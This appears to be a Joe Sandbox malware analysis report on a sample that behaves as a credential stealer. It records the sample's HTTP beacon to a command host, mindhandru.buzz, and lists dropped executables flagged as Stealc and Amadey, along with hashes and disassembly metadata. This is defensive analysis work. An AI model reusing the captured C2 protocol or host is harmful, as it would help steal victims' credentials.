2024-12-27 07:41:16 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 82 Host: mindhandru.buzz
2024-12-27 07:41:16 UTC	82	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d 26 68 77 69 64 3d 31 42 38 46 34 43 35 44 41 43 44 36 31 36 43 42 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 Data Ascii: act=get_message&ver=4.0&lid=PsFKDg--pablo&j=&hwid=1B8F4C5DACD616CBBEBA0C6A975F1733
2024-12-27 07:41:17 UTC	1130	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 07:41:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=c2lgd3r14elo8n429il0ol97hr; expires=Tue, 22 Apr 2025 01:27:55 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cJN3QSkRiEvkJFoXIDr4TWoX6zbRMk2%2FL5f5%2FOwnSRnno6noWrcoKctlExZymcydIiOrFGfJShvOeUOwe15RLBmf6XbzBQOM9WlIwXrj%2FkM0j%2BCiTC2KJNtZ%2Bq6agYM%2BXBA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f87aad1efac433d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1922&min_rtt=1591&rtt_var=833&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2837&recv_bytes=981&delivery_rate=1835323&cwnd=252&unsent_bytes=0&cid=1be07296a8f0dec8&ts=1032&x=0"
2024-12-27 07:41:17 UTC	222	IN	Data Raw: 64 38 0d 0a 54 52 4a 47 2b 41 50 55 4d 49 64 37 4a 52 70 56 34 32 36 56 6e 50 33 65 77 42 5a 4a 35 43 6c 6e 72 6b 55 42 38 70 34 6d 43 75 49 57 61 57 53 4e 49 65 34 53 37 77 39 52 61 6d 2b 2f 51 63 6d 7a 7a 4f 62 31 4f 48 76 56 48 45 6d 66 64 44 4c 63 72 78 42 57 7a 54 35 6d 49 35 6c 75 69 42 2f 31 47 6b 74 2b 4f 6f 35 41 38 4f 53 59 2f 4f 77 30 4c 35 41 4c 58 5a 35 70 49 35 65 38 48 44 71 66 59 57 6c 6b 6a 53 48 75 45 75 38 50 55 57 70 76 76 30 48 4a 73 38 7a 6d 39 54 68 37 31 52 78 4a 6e 33 51 79 33 4b 38 51 56 73 30 67 65 79 69 64 58 2f 74 43 35 68 56 42 64 54 6a 4e 43 2b 33 35 33 2f 4c 69 63 44 33 47 45 31 65 43 5a 32 54 51 70 42 5a 33 76 77 3d 3d 0d 0a Data Ascii: d8TRJG+APUMId7JRpV426VnP3ewBZJ5ClnrkUB8p4mCuIWaWSNIe4S7w9Ram+/QcmzzOb1OHvVHEmfdDLcrxBWzT5mI5luiB/1Gkt+Oo5A8OSY/Ow0L5ALXZ5pI5e8HDqfYWlkjSHuEu8PUWpvv0HJs8zm9Th71RxJn3Qy3K8QVs0geyidX/tC5hVBdTjNC+353/LicD3GE1eCZ2TQpBZ3vw==
2024-12-27 07:41:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	02:40:49
Start date:	27/12/2024
Path:	C:\Users\user\Desktop\oTZfvSwHTq.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\oTZfvSwHTq.exe"
Imagebase:	0x530000
File size:	1'867'264 bytes
MD5 hash:	8CB60F5681C5A681F60DA6E2D7E589C0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1613325520.0000000001349000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	02:41:26
Start date:	27/12/2024
Path:	C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe"
Imagebase:	0x540000
File size:	5'180'416 bytes
MD5 hash:	B0AFC3BE5CA9E3209B844F2CF69F0625
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000003.00000002.1918637136.0000000000541000.00000040.00000001.01000000.00000006.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000003.00000002.1921028506.0000000000B1E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 47%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	02:41:32
Start date:	27/12/2024
Path:	C:\Users\user\AppData\Local\Temp\0Y9DS4ACOZHRKTJZLIK3.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\0Y9DS4ACOZHRKTJZLIK3.exe"
Imagebase:	0x4c0000
File size:	3'273'216 bytes
MD5 hash:	142A3931B0023BC4DF9E8F50E142616A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000005.00000002.1913877565.00000000004C1000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 58%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	02:41:35
Start date:	27/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x940000
File size:	3'273'216 bytes
MD5 hash:	142A3931B0023BC4DF9E8F50E142616A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000008.00000002.1948300017.0000000000941000.00000040.00000001.01000000.0000000A.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 58%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	02:42:00
Start date:	27/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x940000
File size:	3'273'216 bytes
MD5 hash:	142A3931B0023BC4DF9E8F50E142616A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000009.00000002.2701886655.0000000000941000.00000040.00000001.01000000.0000000A.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Function 0134B672 Relevance: .6, Instructions: 608COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1613325520.0000000001349000.00000004.00000020.00020000.00000000.sdmp, Offset: 01349000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_1349000_oTZfvSwHTq.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4dba7b5270f1a36d0c00723475b875ba22669cb9d34471527de5eb19d15b170e
Instruction ID: 38fa3c0b0808b4a298b872ab5a786b23093c0f53f730b18f4971edebfff1dc30
Opcode Fuzzy Hash: 4dba7b5270f1a36d0c00723475b875ba22669cb9d34471527de5eb19d15b170e
Instruction Fuzzy Hash: C9D1D46240E7C19FD7538B7488652817FB1AF17628B5F04DBC0C1CF1B3E229595AD762

Function 0130D238 Relevance: .4, Instructions: 430COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1613598374.0000000001305000.00000004.00000020.00020000.00000000.sdmp, Offset: 01305000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_12f0000_oTZfvSwHTq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 33153fdc3a90498d30983f7611ebec8881645ba90cc1148335e02187f598aeb1
Instruction ID: 6489ca241a7eb9600832fad1b64fe7f7ac79dc5004a58c0acf9edd5678baaeb0
Opcode Fuzzy Hash: 33153fdc3a90498d30983f7611ebec8881645ba90cc1148335e02187f598aeb1
Instruction Fuzzy Hash: 1AF10F2545E3C50FD7178BB0497A492BFB0AE1711831ECACFC9C68F8A3D359954AE326

Function 0134FF22 Relevance: .2, Instructions: 193COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1767773855.000000000134C000.00000004.00000020.00020000.00000000.sdmp, Offset: 01349000, based on PE: false

Associated: 00000000.00000003.1613325520.0000000001349000.00000004.00000020.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_1349000_oTZfvSwHTq.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 385dd36727a38bc4deb95529707c211863c95d71594f901c3d8cb49ee2f9c338
Instruction ID: 46ef78ebb0a73804b2f2aa175afc99fa9e67f22d2ba85ad24fe40121631557e2
Opcode Fuzzy Hash: 385dd36727a38bc4deb95529707c211863c95d71594f901c3d8cb49ee2f9c338
Instruction Fuzzy Hash: 1E415E6285E3C15FD3578B7448695927FB0AE1361870E86DFC4C1CF4B3E21A990AD7A2

Function 01355A3A Relevance: .1, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1767773855.000000000134C000.00000004.00000020.00020000.00000000.sdmp, Offset: 01354000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_1349000_oTZfvSwHTq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f74f44c4212d19b0155cb84f5c373baf25fa1c4f41f2d9c6263df6e085b7d562
Instruction ID: 64541335d1c01f89d36d228a1c7e5629d99d0dea975613b4e492f51bd5448665
Opcode Fuzzy Hash: f74f44c4212d19b0155cb84f5c373baf25fa1c4f41f2d9c6263df6e085b7d562
Instruction Fuzzy Hash: 6131A8A244E7C05FC713873858656823FB49F57120B5F89EBC4C4CF0A3E11AAA49D723

Analysis Process: 0Y9DS4ACOZHRKTJZLIK3.exePID: 5736, Parent PID: 3164COMMON

Execution Graph

Execution Coverage:	3.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	3.3%
Total number of Nodes:	578
Total number of Limit Nodes:	20

Executed Functions

Function 004C5C83 Relevance: 20.8, APIs: 3, Strings: 8, Instructions: 1535registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(?,?,00000000,00000001,36FF3405,36FF3405), ref: 004C5DCC
RegQueryValueExA.KERNEL32(36FF3405,?,00000000,00000000,?,00000400,?,?,00000000,00000001,36FF3405,36FF3405), ref: 004C5DFA
RegCloseKey.KERNEL32(36FF3405,?,?,00000000,00000001,36FF3405,36FF3405), ref: 004C5E06

Strings

stoi argument out of range, xrefs: 004C7081
00000419, xrefs: 004C6098
0000043f, xrefs: 004C612B
Keyboard Layout\Preload, xrefs: 004C6054
00000423, xrefs: 004C60FA
00000422, xrefs: 004C60C9
VUUU, xrefs: 004C6F41
invalid stoi argument, xrefs: 004C7090

Memory Dump Source

Source File: 00000005.00000002.1913877565.00000000004C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000005.00000002.1913856341.00000000004C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1913877565.0000000000522000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1913954864.0000000000529000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1913977071.000000000052B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1914003570.0000000000537000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1914127658.0000000000691000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1914162320.0000000000693000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1914190617.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1915462451.00000000006AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1915804955.00000000006AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1915804955.00000000006B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1916111137.00000000006BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1916344914.00000000006C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1916565883.00000000006CC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1916600058.00000000006D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1916692832.00000000006E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917179955.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917224109.0000000000715000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917262559.0000000000719000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917376962.000000000071A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917411970.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917449363.0000000000729000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917484910.000000000072B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917514669.000000000072C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917551700.0000000000731000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917583114.000000000073E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917618118.0000000000740000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917654049.0000000000749000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917685847.0000000000751000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917726413.0000000000759000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917756946.000000000075B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917793752.000000000076A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917824049.000000000076C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917864741.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917919293.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917919293.000000000079A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918014173.00000000007AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918042741.00000000007B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918068429.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918092583.00000000007B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918117120.00000000007C8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918150668.00000000007C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918189511.00000000007CA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918223592.00000000007CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918257986.00000000007D1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918292308.00000000007DF000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4c0000_0Y9DS4ACOZHRKTJZLIK3.jbxd

Yara matches

Similarity

API ID: CloseOpenQueryValue
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload$VUUU$invalid stoi argument$stoi argument out of range
API String ID: 3677997916-1112634906
Opcode ID: c2a9a075bd5247c614c0e9807793c6898279765825b00fe55b8d62b762d719c9
Instruction ID: 0c470879891ce5ee213374c137aff5bd075d58ca7da85836f7436d9cc32caf27
Opcode Fuzzy Hash: c2a9a075bd5247c614c0e9807793c6898279765825b00fe55b8d62b762d719c9
Instruction Fuzzy Hash: 5CC2E571A001189BDF28DF68CD95FEDB775EF45304F10829EE409A7381DB79AA84CB98

Function 004C735A Relevance: 2.5, APIs: 1, Instructions: 1031
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000005.00000002.1913877565.00000000004C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000005.00000002.1913856341.00000000004C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1913877565.0000000000522000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1913954864.0000000000529000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1913977071.000000000052B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1914003570.0000000000537000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1914127658.0000000000691000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1914162320.0000000000693000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1914190617.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1915462451.00000000006AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1915804955.00000000006AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1915804955.00000000006B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1916111137.00000000006BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1916344914.00000000006C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1916565883.00000000006CC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1916600058.00000000006D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1916692832.00000000006E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917179955.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917224109.0000000000715000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917262559.0000000000719000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917376962.000000000071A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917411970.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917449363.0000000000729000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917484910.000000000072B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917514669.000000000072C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917551700.0000000000731000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917583114.000000000073E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917618118.0000000000740000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917654049.0000000000749000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917685847.0000000000751000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917726413.0000000000759000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917756946.000000000075B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917793752.000000000076A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917824049.000000000076C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917864741.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917919293.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917919293.000000000079A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918014173.00000000007AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918042741.00000000007B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918068429.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918092583.00000000007B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918117120.00000000007C8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918150668.00000000007C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918189511.00000000007CA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918223592.00000000007CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918257986.00000000007D1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918292308.00000000007DF000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4c0000_0Y9DS4ACOZHRKTJZLIK3.jbxd

Yara matches

Similarity

API ID: ConditionVariableWake
String ID:
API String ID: 1192502693-0
Opcode ID: cd661a7658f64814a0fcbe27d9f561e468a5c0df9c45b75fb69c0baa5f75ecf7
Instruction ID: 0693635af299ea067a256173b01791f08c5586279bb8dd2415fa40957ef5a0b1
Opcode Fuzzy Hash: cd661a7658f64814a0fcbe27d9f561e468a5c0df9c45b75fb69c0baa5f75ecf7
Instruction Fuzzy Hash: 82725971A00148ABEB18EF68CD85B9E7B75EF42314F50825EF805973C1DB3D9A848B99

Function 004F652B Relevance: 1.5, APIs: 1, Instructions: 24
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(?,?,004F652A,?,?,?,?,?,004F7661), ref: 004F6567

Memory Dump Source

Source File: 00000005.00000002.1913877565.00000000004C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000005.00000002.1913856341.00000000004C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1913877565.0000000000522000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1913954864.0000000000529000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1913977071.000000000052B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1914003570.0000000000537000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1914127658.0000000000691000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1914162320.0000000000693000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1914190617.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1915462451.00000000006AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1915804955.00000000006AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1915804955.00000000006B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1916111137.00000000006BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1916344914.00000000006C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1916565883.00000000006CC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1916600058.00000000006D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1916692832.00000000006E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917179955.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917224109.0000000000715000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917262559.0000000000719000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917376962.000000000071A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917411970.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917449363.0000000000729000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917484910.000000000072B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917514669.000000000072C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917551700.0000000000731000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917583114.000000000073E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917618118.0000000000740000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917654049.0000000000749000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917685847.0000000000751000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917726413.0000000000759000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917756946.000000000075B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917793752.000000000076A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917824049.000000000076C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917864741.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917919293.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917919293.000000000079A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918014173.00000000007AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918042741.00000000007B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918068429.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918092583.00000000007B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918117120.00000000007C8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918150668.00000000007C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918189511.00000000007CA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918223592.00000000007CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918257986.00000000007D1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918292308.00000000007DF000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4c0000_0Y9DS4ACOZHRKTJZLIK3.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: e07520377c6489576cc21ca93620ff93f61ee013bd8ab8203a55e64b2e48b6b7
Instruction ID: e72d45beaf91a393156bad9dcda41720832f2634113aa8bc003a5ac8b588925b
Opcode Fuzzy Hash: e07520377c6489576cc21ca93620ff93f61ee013bd8ab8203a55e64b2e48b6b7
Instruction Fuzzy Hash: 52E08C3101020CBECE26BB58D859D6A3B2AEF4274DF015D16FB08D6322CB29ED81C685

Function 048B0C42 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1922073937.00000000048B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 048B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_48b0000_0Y9DS4ACOZHRKTJZLIK3.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 29442c69790cc711ac215c869a6938ae5018bf53962cb5a008221a89e08e11a2
Instruction ID: 66a3cf65455a6517f7caebd299862b409244e0c00917be80b0e2093a689aadc4
Opcode Fuzzy Hash: 29442c69790cc711ac215c869a6938ae5018bf53962cb5a008221a89e08e11a2
